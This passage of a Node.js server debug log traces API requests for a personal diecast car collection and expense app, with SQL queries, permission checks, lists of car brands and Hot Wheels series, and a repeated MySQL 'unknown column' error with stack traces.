  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:53.263Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:53.263Z server-connect:app Executing action step identify
2026-07-13T10:02:53.263Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.263Z server-connect:output identity: 1
2026-07-13T10:02:53.263Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.263Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.263Z server-connect:output restrict: undefined
2026-07-13T10:02:53.263Z server-connect:app Executing action step select
2026-07-13T10:02:53.263Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:02:53.264Z server-connect:app Executing action step identify
2026-07-13T10:02:53.264Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.264Z server-connect:output identity: 1
2026-07-13T10:02:53.264Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.264Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.264Z server-connect:output restrict: undefined
2026-07-13T10:02:53.264Z server-connect:app Executing action step paged
2026-07-13T10:02:53.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:53.265Z server-connect:app Executing action step identify
2026-07-13T10:02:53.265Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.266Z server-connect:output identity: 1
2026-07-13T10:02:53.266Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.266Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.267Z server-connect:output restrict: undefined
2026-07-13T10:02:53.267Z server-connect:app Executing action step select
2026-07-13T10:02:53.267Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:53.267Z server-connect:app Executing action step identify
2026-07-13T10:02:53.267Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.267Z server-connect:output identity: 1
2026-07-13T10:02:53.267Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.267Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.270Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:53.271Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:53.271Z server-connect:output restrict: undefined
2026-07-13T10:02:53.272Z server-connect:app Executing action step select
2026-07-13T10:02:53.272Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:53.275Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:02:53.276Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:53.278Z server-connect:output restrict: undefined
2026-07-13T10:02:53.278Z server-connect:app Executing action step select
2026-07-13T10:02:53.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:53.279Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:53.279Z server-connect:app Executing action step select
2026-07-13T10:02:53.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:53.280Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:02:53.281Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:53.281Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:53.281Z server-connect:app Executing action step select
2026-07-13T10:02:53.281Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:53.282Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:53.284Z server-connect:app Executing action step identify
2026-07-13T10:02:53.284Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.284Z server-connect:output identity: 1
2026-07-13T10:02:53.285Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.285Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.286Z server-connect:output restrict: undefined
2026-07-13T10:02:53.286Z server-connect:app Executing action step single
2026-07-13T10:02:53.286Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
